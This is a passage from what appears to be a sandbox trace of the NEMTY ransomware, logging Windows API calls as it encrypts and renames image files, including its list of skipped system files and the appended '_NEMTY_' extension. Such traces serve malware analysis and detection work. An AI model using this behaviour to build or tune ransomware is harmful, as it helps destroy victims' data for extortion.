lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x6345640, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 45 [0087.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340120 [0087.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340208 [0087.639] Sleep (dwMilliseconds=0x5) [0087.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7e492d0, dwHighDateTime=0x1d561e7)) [0087.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7e492d0, dwHighDateTime=0x1d561e7)) [0087.655] GetLastError () returned 0x5 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.655] GetLastError () returned 0x5 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.655] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.655] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.655] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402f0 [0087.655] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402f0, pcchString=0x653e91c | out: pszString="QX6bl/ZDKLgCG8ghQNueEN1U8fkzEkBvHOgYN92pdpT3yaJbImIhvKSkRqfsDFXC\r\n1p4VhqGlXJuiu1wKa95UHpVmHqoO/kD0NlUSHKQ1/dxG8gmY1hFOOjgxnK6c5JWs\r\n2UvbGo+s/xgOj85tGzkvMRGX/wjxm9yC+5CpMgO3ayyNG4LZZkxlSW1LlNAfA9+1\r\naphlUaETp4LF5rz1ilp8LqWRUvlsb/lT/7Ysg4NfCXVpCBe49sJsHD3rm0XbrbdH\r\nre4xKAzJcqxcjk/rshvT8WzZO82LA6ee03bxNDYkzCqRp6OgH7HrB8BCm6u8yh9f\r\nHqJ2uiQdeaby9ijgTVcxhA==\r\n", pcchString=0x653e91c) returned 1 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0087.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402f0 [0087.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.655] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.656] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.731] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.731] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.762] CloseHandle (hObject=0xffffffff) returned 0 [0087.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340460 [0087.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0087.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63440d0 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.763] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440d0 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340460 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340208 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0087.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.763] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0087.763] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="rsa") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="ntldr") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned 1 [0087.771] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0087.772] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0087.772] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="programdata") returned 1 [0087.772] lstrcmpiW (lpString1="SpecialNavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 40 [0087.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x63400b0 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 40 [0087.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400b0 | out: hHeap=0x4f90000) returned 1 [0087.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 40 [0087.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0087.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_ButtonGraphic.png", cchWideChar=40, lpMultiByteStr=0x6345640, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 40 [0087.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0087.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94358 [0087.772] Sleep (dwMilliseconds=0x5) [0087.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7f79dd0, dwHighDateTime=0x1d561e7)) [0087.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7f79dd0, dwHighDateTime=0x1d561e7)) [0087.779] GetLastError () returned 0x5 [0087.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.779] GetLastError () returned 0x5 [0087.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 